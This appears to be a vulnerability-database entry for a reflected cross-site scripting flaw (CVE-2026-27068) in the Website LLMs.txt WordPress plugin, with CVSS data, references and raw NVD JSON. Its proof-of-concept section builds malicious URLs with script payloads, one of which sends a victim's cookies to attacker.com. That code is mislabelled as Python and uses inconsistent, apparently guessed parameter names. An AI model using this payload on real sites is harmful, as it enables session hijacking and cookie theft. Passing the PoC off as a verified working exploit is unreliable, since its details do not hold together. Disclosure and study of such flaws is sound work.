CVE-2026-27068

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ryan Howard Website LLMs.txt website-llms-txt allows Reflected XSS.This issue affects Website LLMs.txt: from n/a through <= 8.2.6.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Website LLMs.txt <= 8.2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-27068 PoC - Reflected XSS in Website LLMs.txt -->
<!-- Target: WordPress Plugin Website LLMs.txt <= 8.2.6 -->
<!-- Attack Vector: Malicious URL parameter with XSS payload -->

<!-- Example malicious URL -->
<!-- https://vulnerable-site.com/?llms_param=<script>alert(document.cookie)</script> -->

<!-- HTML PoC -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-27068 PoC</title>
</head>
<body>
    <h1>Reflected XSS PoC - CVE-2026-27068</h1>
    <p>Target: Website LLMs.txt WordPress Plugin <= 8.2.6</p>
    
    <script>
        // Generate malicious URL
        const baseUrl = window.location.origin + window.location.pathname;
        const xssPayload = '<script>alert("XSS - CVE-2026-27068")</script>';
        const maliciousUrl = baseUrl + '?llms_action=generate&content=' + encodeURIComponent(xssPayload);
        
        // Display malicious link
        document.write('<p>Malicious URL: <a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a></p>');
        
        // Cookie stealing payload example
        const stealCookiePayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">';
        const stealUrl = baseUrl + '?llms_param=' + encodeURIComponent(stealCookiePayload);
        document.write('<p>Cookie Stealing URL: <a href="' + stealUrl + '" target="_blank">' + stealUrl + '</a></p>');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27068
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27068
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27068/
[4] VulDB https://vuldb.com/cve/CVE-2026-27068
[5] https://patchstack.com/database/Wordpress/Plugin/website-llms-txt/vulnerability/wordpress-website-llms-txt-plugin-8-2-6-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27068", "sourceIdentifier": "[email protected]", "published": "2026-03-19T09:16:18.157", "lastModified": "2026-04-23T15:37:15.803", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ryan Howard Website LLMs.txt website-llms-txt allows Reflected XSS.This issue affects Website LLMs.txt: from n/a through <= 8.2.6."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Ryan Howard Website LLMs.Txt permite XSS Reflejado. Este problema afecta a Website LLMs.Txt: desde n/a hasta 8.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/website-llms-txt/vulnerability/wordpress-website-llms-txt-plugin-8-2-6-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}